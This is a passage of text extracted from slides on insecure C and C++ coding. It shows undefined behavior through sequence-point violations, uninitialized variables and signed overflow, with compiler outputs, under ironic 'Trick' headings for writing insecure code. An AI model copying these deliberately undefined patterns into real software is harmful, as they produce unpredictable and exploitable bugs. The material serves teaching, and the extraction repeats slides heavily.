![Page 252: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/252.jpg)
c = a() + b();
which function will be called first?
![Page 253: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/253.jpg)
c = a() + b();
C and C++ are among the few programming languages where evaluation
order is mostly unspecified. This is an example of unspecified behavior.
which function will be called first?
![Page 254: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/254.jpg)
c = a() + b();
C and C++ are among the few programming languages where evaluation
order is mostly unspecified. This is an example of unspecified behavior.
which function will be called first?
Trick #1:
Write insecure code by depending on a
particular evaluation order
![Page 255: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/255.jpg)
int a = 3; int n = a * ++a;
![Page 256: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/256.jpg)
int a = 3; int n = a * ++a;
What is the value of n?
![Page 257: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/257.jpg)
int a = 3; int n = a * ++a;
What is the value of n?
Since the evaluation order here is not specified the expression does not make sense. In this
particular example there is a so called sequence point violation, and therefore
we get undefined behavior.
![Page 258: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/258.jpg)
int a = 3; int n = a * ++a;
What is the value of n?
Since the evaluation order here is not specified the expression does not make sense. In this
particular example there is a so called sequence point violation, and therefore
we get undefined behavior.
Trick #2:
#2 Write insecure code by breaking the
sequencing rules
![Page 259: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/259.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
What do you think will actually happen if you compile, link and run it in your development environment?
![Page 260: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/260.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
What do you think will actually happen if you compile, link and run it in your development environment?
![Page 261: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/261.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out
What do you think will actually happen if you compile, link and run it in your development environment?
![Page 262: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/262.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out12
What do you think will actually happen if you compile, link and run it in your development environment?
![Page 263: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/263.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out12$ clang foo.c && ./a.out
What do you think will actually happen if you compile, link and run it in your development environment?
![Page 264: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/264.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out12$ clang foo.c && ./a.out11
What do you think will actually happen if you compile, link and run it in your development environment?
![Page 265: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/265.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out12$ clang foo.c && ./a.out11$ icc foo.c && ./a.out
What do you think will actually happen if you compile, link and run it in your development environment?
![Page 266: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/266.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out12$ clang foo.c && ./a.out11$ icc foo.c && ./a.out13
What do you think will actually happen if you compile, link and run it in your development environment?
![Page 267: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/267.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out12$ clang foo.c && ./a.out11$ icc foo.c && ./a.out13
What do you think will actually happen if you compile, link and run it in your development environment?
Trick #3:
Write insecure code where the result
depends on the compiler
![Page 268: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/268.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out12$ clang foo.c && ./a.out11$ icc foo.c && ./a.out13
What do you think will actually happen if you compile, link and run it in your development environment?
Trick #3:
Write insecure code where the result
depends on the compiler
(*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
![Page 269: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/269.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
![Page 270: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/270.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
The compiler I use gives me warnings for code like this.
![Page 271: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/271.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
![Page 272: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/272.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
![Page 273: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/273.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
![Page 274: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/274.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out12
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
![Page 275: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/275.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out12$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
![Page 276: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/276.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out12$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out11
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
![Page 277: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/277.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out12$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out11$ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
![Page 278: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/278.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out12$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out11$ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out13
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
![Page 279: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/279.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out12$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out11$ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out13
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
The point is that the C standard does not require compilers to diagnose "illegal" code.
![Page 280: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/280.jpg)
#include <stdio.h>
int main(void){ int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%d\n", n);}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out12$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out11$ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out13
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me warnings for code like this.
The point is that the C standard does not require compilers to diagnose "illegal" code.
Trick #4:
Write insecure code by knowing the blind
spots of your compilers
![Page 281: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/281.jpg)
On undefined behavior anything can happen!
![Page 282: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/282.jpg)
When the compiler encounters [a given undefined construct] it is legal for it to make demons fly out of your nose” [comp.std.c]
On undefined behavior anything can happen!
![Page 283: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/283.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
![Page 284: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/284.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
![Page 285: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/285.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
![Page 286: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/286.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
![Page 287: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/287.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
![Page 288: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/288.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
false
clang 4.1
![Page 289: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/289.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
truefalse
gcc 4.7.2
false
clang 4.1
![Page 290: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/290.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
truefalse
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
![Page 291: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/291.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
truefalse
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false
![Page 292: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/292.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
truefalse
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false false
![Page 293: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/293.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
truefalse
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false false false
![Page 294: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/294.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
truefalse
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false false false
(*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
![Page 295: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/295.jpg)
Exercise
#include <stdio.h>#include <stdbool.h>
void foo(void){ bool b; if (b) printf("true\n"); if (!b) printf("false\n");}
foo.c
This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);void foo(void);
int main(void){ bar(); foo();}
main.c
void bar(void){ char c = 2; (void)c;}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
truefalse
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false false false
(*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
Trick #5:
Write insecure code by messing up the
internal state of the program.
![Page 296: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/296.jpg)
int the_answer(int seed) { int answer = seed + 42; return answer - seed;}
deep_thought.c
![Page 297: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/297.jpg)
int the_answer(int seed) { int answer = seed + 42; return answer - seed;}
#include <stdio.h>#include <limits.h>
int the_answer(int);
int main(void){ printf("The answer is:\n"); int a = the_answer(INT_MAX); printf("%d\n", a);}
main.cdeep_thought.c
![Page 298: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/298.jpg)
int the_answer(int seed) { int answer = seed + 42; return answer - seed;}
$ cc main.c deep_thought.c && ./a.out
#include <stdio.h>#include <limits.h>
int the_answer(int);
int main(void){ printf("The answer is:\n"); int a = the_answer(INT_MAX); printf("%d\n", a);}
main.cdeep_thought.c
![Page 299: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/299.jpg)
int the_answer(int seed) { int answer = seed + 42; return answer - seed;}
$ cc main.c deep_thought.c && ./a.outThe anwser is: 3.1417926
#include <stdio.h>#include <limits.h>
int the_answer(int);
int main(void){ printf("The answer is:\n"); int a = the_answer(INT_MAX); printf("%d\n", a);}
main.cdeep_thought.c
![Page 300: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/300.jpg)
int the_answer(int seed) { int answer = seed + 42; return answer - seed;}
$ cc main.c deep_thought.c && ./a.outThe anwser is: 3.1417926
Inconceivable!
#include <stdio.h>#include <limits.h>
int the_answer(int);
int main(void){ printf("The answer is:\n"); int a = the_answer(INT_MAX); printf("%d\n", a);}
main.cdeep_thought.c
![Page 301: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/301.jpg)
int the_answer(int seed) { int answer = seed + 42; return answer - seed;}
$ cc main.c deep_thought.c && ./a.outThe anwser is: 3.1417926
Inconceivable!
Remember... when you have undefined behavior, anything can happen!
#include <stdio.h>#include <limits.h>
int the_answer(int);
int main(void){ printf("The answer is:\n"); int a = the_answer(INT_MAX); printf("%d\n", a);}
main.cdeep_thought.c
![Page 302: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/302.jpg)
int the_answer(int seed) { int answer = seed + 42; return answer - seed;}
$ cc main.c deep_thought.c && ./a.outThe anwser is: 3.1417926
Inconceivable!
Remember... when you have undefined behavior, anything can happen!
#include <stdio.h>#include <limits.h>
int the_answer(int);
int main(void){ printf("The answer is:\n"); int a = the_answer(INT_MAX); printf("%d\n", a);}
main.cdeep_thought.c
Integer overflow gives undefined behavior. If you want to prevent this to happen you must write the logic yourself. This is the spirit of C, you don’t get code you have not
asked for.
![Page 303: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/303.jpg)
int the_answer(int seed) { int answer = seed + 42; return answer - seed;}
$ cc main.c deep_thought.c && ./a.outThe anwser is: 3.1417926
Inconceivable!
Remember... when you have undefined behavior, anything can happen!
#include <stdio.h>#include <limits.h>
int the_answer(int);
int main(void){ printf("The answer is:\n"); int a = the_answer(INT_MAX); printf("%d\n", a);}
main.cdeep_thought.c
Integer overflow gives undefined behavior. If you want to prevent this to happen you must write the logic yourself. This is the spirit of C, you don’t get code you have not
asked for.
Trick #6:
Write insecure code by only assuming valid
input values
![Page 304: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/304.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
![Page 305: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/305.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out
![Page 306: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/306.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644
![Page 307: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/307.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out21474836442147483645
![Page 308: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/308.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out214748364421474836452147483646
![Page 309: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/309.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647
![Page 310: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/310.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out
![Page 311: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/311.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out2147483644
![Page 312: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/312.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out21474836442147483645
![Page 313: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/313.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out214748364421474836452147483646
![Page 314: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/314.jpg)
#include <stdio.h>#include <limits.h>
